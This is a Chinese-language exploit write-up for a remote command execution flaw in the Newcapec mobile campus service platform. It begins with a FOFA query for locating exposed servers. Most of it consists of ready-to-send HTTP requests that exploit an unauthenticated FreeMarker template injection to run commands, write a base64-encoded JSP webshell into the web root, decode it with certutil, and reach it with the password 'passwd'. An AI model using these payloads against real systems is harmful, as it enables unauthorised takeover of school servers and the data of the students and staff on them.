新开普掌上校园服务管理平台service.action存在远程命令执行漏洞
一、漏洞简介
新开普智慧校园体系基于业务、数据双中台理念，建立共享开放能力平台，实现能力开放和服务与数据的全生命周期治理；基于一云多端，混合云服务模式，覆盖管理、生活、教学、科研和社会化服务全场景，让师生随时随地获得资源和服务；围绕按主题建设，按场景上线，以评促建，可持续发展的路径，渐进建设全业务应用场景，让智慧校园建设更简单。新开普智慧校园系统/service transport/service.action接口处存在FreeMarker模板注入，攻击者可在未经身份认证的情况下，调用后台接口，构造恶意代码实现远程代码执行，最终可造成服务器失陷。
二、影响版本
- 新开普掌上校园服务管理平台
三、资产测绘
- fofa
title="掌上校园服务管理平台" - 特征
四、漏洞复现
- 访问如下连接出现如下页面可能存在漏洞
/service_transport/service.action
- 命令执行
POST /service_transport/service.action HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
?new()>${ex(\"cmd /c whoami >./webapps/ROOT/1.txt\")}"
}
获取命令执行结果
/1.txt
- 写webshell
POST /service_transport/service.action HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
?new()>${ex(\"cmd /c echo PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFUoQ2xhc3NMb2FkZXIgYykgewogICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgcHVibGljIENsYXNzIGcoYnl0ZVtdIGIpIHsKICAgICAgICAgICAgcmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsIDAsIGIubGVuZ3RoKTsKICAgICAgICB9CiAgICB9CiAKICAgIHB1YmxpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBzdHIpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOwogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgY2xhenouZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBTdHJpbmcuY2xhc3MpLmludm9rZShjbGF6ei5uZXdJbnN0YW5jZSgpLCBzdHIpOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwogICAgICAgICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICAgICAgfQogICAgfQolPgo8JQogICAgU3RyaW5nIGNscyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzd2QiKTsKICAgIGlmIChjbHMgIT0gbnVsbCkgewogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/1.txt\")}"
}
解码
POST /service_transport/service.action HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
{
"command": "GetFZinfo",
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/1.txt ./webapps/ROOT/1.jsp\")}"
}
webshell地址，密码passwd
/1.jsp